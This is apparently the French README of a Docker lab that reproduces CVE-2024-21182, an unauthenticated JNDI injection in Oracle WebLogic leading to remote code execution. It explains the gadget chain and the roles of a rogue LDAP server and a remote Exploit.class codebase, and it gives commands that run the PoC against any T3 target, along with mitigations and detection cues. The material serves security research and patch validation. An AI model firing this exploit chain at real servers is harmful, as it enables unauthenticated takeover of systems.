CVE-2024-21182 — Injection JNDI T3/IIOP Oracle WebLogic Server → Exécution de code à distance (lab)

Un lab Docker autonome, en une commande, pour reproduire et valider la famille de vulnérabilités d'injection JNDI OpaqueReference d'Oracle WebLogic Server (CVE-2024-21182, un contournement du correctif de CVE-2023-21839) et la transformer en exécution de code à distance non authentifiée.

⚠️ Pour la recherche en sécurité autorisée, l'éducation et la validation de correctifs uniquement. Voir AVERTISSEMENT. Exécutez-le uniquement contre ce lab ou des systèmes que vous possédez.

Ce que cela démontre

CVE-2024-21182 est une vulnérabilité non authentifiée dans le composant Core d'Oracle WebLogic Server, accessible via les protocoles T3 / IIOP (port par défaut 7001). Elle permet à un attaquant de lier un objet « reference » malveillant dans l'arbre JNDI du serveur et de déclencher une recherche JNDI côté serveur vers une URL contrôlée par l'attaquant — une injection JNDI classique qui conduit à une exécution de code à distance.

Cause racine

Un objet référence WebLogic est résolu côté serveur lors de lookup() par une ObjectFactory qui effectue une recherche JNDI imbriquée vers une URL fournie par l'attaquant :

weblogic.jndi.internal.WLContextImpl.lookup
 → javax.naming.spi.NamingManager.getObjectInstance
   → weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
     → weblogic.application.naming.MessageDestinationReference.lookupMessageDestination  (line 62)
       → new InitialContext().lookup( ldap://attacker/… )      ← contrôlé par l'attaquant, côté serveur

CVE-2023-21839 atteignait cela via weblogic.jndi.internal.ForeignOpaqueReference, qu'Oracle a ensuite protégé. CVE-2024-21182 contourne cette protection en atteignant la même recherche étrangère via weblogic.ejb.container.internal.AggregatableOpaqueReference, dont le champ privé referent est défini par réflexion sur un weblogic.application.naming.MessageDestinationReference.

⚠️ Important : image du lab vs versions listées dans le CVE

Ce lab utilise vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3, avec JDK 1.8.0_151) car c'est la seule image WebLogic vulnérable librement redistribuable — les versions officiellement listées par CVE-2024-21182 (12.2.1.4.0 / 14.1.1.0.0) nécessitent une licence Oracle et ne peuvent pas être publiées ici.

Conséquences, énoncées honnêtement :

• Le lab reproduit fidèlement la classe de vulnérabilité d'injection JNDI OpaqueReference → RCE, exercée avec les classes gadget exactes de CVE-2024-21182 (AggregatableOpaqueReference + MessageDestinationReference).
• Il ne prouve pas la propriété de contournement de correctif elle-même — 12.2.1.3 est antérieur à la liste noire de CVE-2023-21839, donc il n'y a pas de correctif à contourner sur cette image. Pour démontrer spécifiquement le contournement, vous avez besoin d'une version sous licence 12.2.1.4 corrigée jusqu'à la CPU d'octobre 2024 (juste avant).
• Partie RCE : fonctionne ici car JDK 1.8.0_151 est antérieur à 8u191 et a par défaut com.sun.jndi.ldap.object.trustURLCodebase=true (chargement de classes depuis une codebase distante). Sur les JDK modernes, l'injection fonctionne toujours (SSRF), mais la RCE nécessite un gadget déjà présent dans le classpath de WebLogic au lieu d'une codebase distante.

Démarrage rapide

Prérequis : Docker + Docker Compose v2. Téléchargement de l'image ~3 Go. Sur Apple Silicon, l'image fonctionne sous émulation linux/amd64 (démarrage à froid plus lent, 2 à 5 min).

git clone <this-repo>
cd CVE-2024-21182-lab
docker compose up -d        # starts: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh               # waits for boot, fires the exploit, prints PASS/FAIL

Résultat attendu de ./validate.sh :

[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)

Arrêt :

docker compose down

Comment ça fonctionne (les parties mobiles)

                 t3://weblogic:7001                         ldap://attacker:1389/Evil
  PoC client  ───────────────────────►  WebLogic  ──────────────────────────────►  attacker (LDAP)
 (in weblogic     bind() + lookup()      (victim)      server-side JNDI lookup        returns Reference
  container)                                                                          {javaCodeBase=http://attacker:8888/}
                                              │                                              │
                                              └──────────  GET /Exploit.class  ◄─────────────┘  (HTTP codebase)
                                                           loads + instantiates → static{} runs `id`

• poc/CVE_2024_21182.java — le client T3. Construit l'AggregatableOpaqueReference malveillant, le bind(), puis lookup() pour déclencher la résolution côté serveur. Paramétré : <hôte_T3:port> <url_ldap>. Il est compilé à l'intérieur du conteneur WebLogic par validate.sh car les classes gadget se trouvent dans l'ensemble complet des modules de WebLogic (pas le client léger redistribuable), donc aucun jar Oracle n'est fourni ici.
• exploit/ldap_server.py — serveur LDAP malveillant minimal renvoyant une Reference JNDI ainsi qu'un serveur HTTP hébergeant la classe factory. S'exécute dans le conteneur attacker, accessible depuis WebLogic par le nom de service attacker.
• exploit/Exploit.java / Exploit.class — la factory de charge utile (bytecode Java 8). Son initialiseur statique exécute / et écrit la sortie dans à l'intérieur de la victime. Inoffensif par conception — modifiez-le et exécutez pour changer la commande.

Le message ClassCastException (Exploit cannot be cast to ObjectFactory) que vous verrez est attendu et cosmétique — il survient après que l'initialiseur statique (la charge utile) a déjà été exécuté.

Valider une cible patchée / réelle

Pointez le PoC vers n'importe quel point d'accès T3 que vous êtes autorisé à tester :

# from inside a host with the WebLogic thin client, or adapt validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil

• L'injection se déclenche (LDAP sortant observé), pas de RCE → JDK a trustURLCodebase=false ; vous avez toujours une SSRF, et la RCE peut être possible via un gadget du classpath.
• Rien ne se déclenche → le chemin OpaqueReference est patché (CPU Oct-2024 appliquée).

Atténuation

• Correctif — appliquez la Mise à jour Critique Oracle d'Octobre 2024.
• Réseau — restreignez T3/IIOP (7001) avec les filtres de connexion WebLogic (weblogic.security.net.ConnectionFilterImpl) et les pare-feux hôtes.
• JDK — conservez com.sun.jndi.ldap.object.trustURLCodebase=false (valeur par défaut sur les JDK actuels) ; cela casse la partie RCE via codebase distante (pas la partie injection).
• Détection — LDAP/RMI/DNS sortant depuis la JVM WebLogic vers des hôtes non autorisés ; processus enfants inattendus du processus WebLogic ; liaison T3 de types *OpaqueReference.

Crédits et références

• Gadget PoC public : k4it0k1d/CVE-2024-21182
• Image vulnérable : vulhub (weblogic/CVE-2023-21839)
• Contexte : avis CPU Oracle ; recherche sur CVE-2023-21839 (famille OpaqueReference de WebLogic)

AVERTISSEMENT

Ce projet est publié pour les tests de sécurité autorisés, la validation défensive et l'éducation. Le logiciel vulnérable s'exécute dans un lab Docker isolé. N'utilisez pas ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous n'êtes pas explicitement autorisé à tester. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive. Voir LICENSE.